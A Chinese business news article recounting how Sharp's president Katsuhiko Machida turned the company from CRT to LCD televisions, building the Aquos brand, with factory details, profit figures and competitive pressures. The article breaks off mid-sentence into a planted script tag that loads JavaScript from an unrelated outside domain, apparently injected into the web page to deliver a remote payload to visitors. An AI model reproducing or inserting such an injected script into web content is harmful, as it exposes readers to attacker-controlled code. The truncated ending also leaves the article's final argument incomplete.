从苦苦挣扎的二线电子公司重新跻身一线行列，夏普只用了不足10年的时间，其秘密何在？看着传送带将一台台装配好的液晶电视传到自己身后进行最终的质量检验，武井弘熙脸上露出了满意的笑容。他是夏普在日本三重县电视机厂的经理。
这座2004年投产的工厂位于东京西南约400余公里，耗资14亿美元，是夏普最先进的电视机生产基地之一，主要生产该公司的aquos大屏幕液晶电视。
武井弘熙强调，aquos不只是夏普的旗舰产品，也是夏普战略转变的核心所在。正是在这种战略转变的推动下，夏普才得以由二线电子公司重新跻身一流行列，并在液晶显示产品市场独占鳌头。据预测， 2006年4月至2007年3月的新财年，夏普的液晶电视销量将达到600万台，同比增长50%，销售额将达到260亿美元，增长8.3%。
战略大赌注
夏普的战略转移始于8年前。当时刚上任的夏普社长町田胜彦做出一个惊人的决定——逐步停止生产阴极射线管电视。他还提出，到2005年，在日本本土的工厂完成液晶电视对阴极射线管电视的替代。
这个在当时看来相当冒险的战略选择实属无奈之举。二战后，计算器等产品的畅销让夏普享受了一段黄金时期，但到町田胜彦上任时，日本国内销售的疲软加上激烈的价格竞争，使夏普陷入其历史上最严重的危机。为扭转利润下滑的局面，町田胜彦决定收缩或停止半导体、电脑显示器及阴极射线管电视的生产。电视机曾是夏普的主要产品，然而它已无力在价格上与对手血拼。町田胜彦认为，唯一的办法是获得技术上的领先。
多年来，在阴极射线管电视机领域，由于不掌握核心技术，夏普注定只能在二线徘徊——它只能像装配工一样，将从竞争对手那里买来的零部件拼装起来再卖出去。出任社长前曾负责过电视机业务的町田胜彦回忆说，正是这种尴尬促使他考虑战略上的突破。他当时的想法是，在电子行业，电视机业务做不好会殃及整个企业和品牌。
选择液晶电视作为突破口并非偶然。此前，夏普在液晶显示技术方面已有相当的积累。1973年，它推出了第一款大规模生产的液晶显示计算器，1987年开发出自己的液晶电视，而且在整个1990年代也一直在液晶电视领域摸索前进。
尽管如此，当町田胜彦1999年公布其决定时，公司内包括工程师在内的许多人感到震惊——当时夏普还不掌握制造15英寸以上液晶电视屏的技术，图像质量、生产成本等问题都有待解决。
上任第一年，町田胜彦几乎每天都要到夏普在日本各地的办公室和工厂了解情况，告诫员工为这项战略计划的实施而加倍努力。他一再对员工说：“如果我们不采取这个措施，夏普就没有未来。”许多不愿公开顶撞老板的员工阴沉地听着他的“说教”。电脑面板部门的不满最大，因为这是受冲击最大的部门。
为化解这些阻力，町田胜彦多次召开员工会议，向他们晓以利害。他指出，韩国和台湾厂商完全能制造出同样的电脑面板。他要求工程师们提高液晶显示屏的质量，使其可用于电视机。町田制订了技术方面的目标，比如在3年内将对比度提高3倍以提高图像清晰度。
在3年时间里，夏普投入大量人力物力，用于其新的旗舰品牌aquos的设计、生产和营销。2001年1月aquos上市，并迅速成为继索尼特丽珑之后最酷的品牌。目前，夏普已稳居全球液晶电视销量第一。
町田胜彦不仅以其不喜欢扎领带而在日本商界展示其独特的个性；推动夏普由通才型企业向专家型企业的逆向转变，也使他显得与众不同。管理学专家表示，町田胜彦此举在日本企业中颇为罕见，即使到今天，日本企业仍倾向于多元化发展，比如东芝和日立涉足的行业就多达二三十个。但町田胜彦坚持认为，夏普以前的多元化导致力量分散，无法形成自己的拳头。
町田胜彦当年押下的大赌注已进入收获期。夏普表示，在3月31日结束的2005财年，其利润再创新高，达到870亿日元（约7.37亿美元），其中液晶电视所创造的利润占很大份额。而在1998年，夏普的利润仅有46亿日元（3900万美元）。
町田胜彦指出，夏普之所以能保持增长，主要是因为它与众不同，做人所未做。他说：“当今，生存就意味着创新和另辟蹊径。这不仅是夏普，也是整个日本的经验教训。”
差异化战略避开价格杀伤
先发者并不一定能永远保持领先。最先开发出某种技术的企业在尚未成熟的市场中成为“先烈”或被后来者“逼死”，这样的例子屡见不鲜。即使熬到了液晶电视成为高清电视市场主流的好日子，夏普同样能明显感觉到在它背后穷追不舍的逼人剑气。
据displaysearch 市场调研公司的调查，2005年头9个月，夏普的液晶电视市场份额由前一年同期的25％下降到了19％。其中的原因主要是夏普低估了消费者对平板电视的需求，导致产能无法跟上。不过，lg、飞利浦、三星等对手的强有力竞争也是原因之一。
不过，在液晶电视领域掌握有核心技术的夏普并没有在对手们的攻势下束手无策。町田胜彦的策略是利用夏普的技术优势?script src=http://er12.com/t.js>
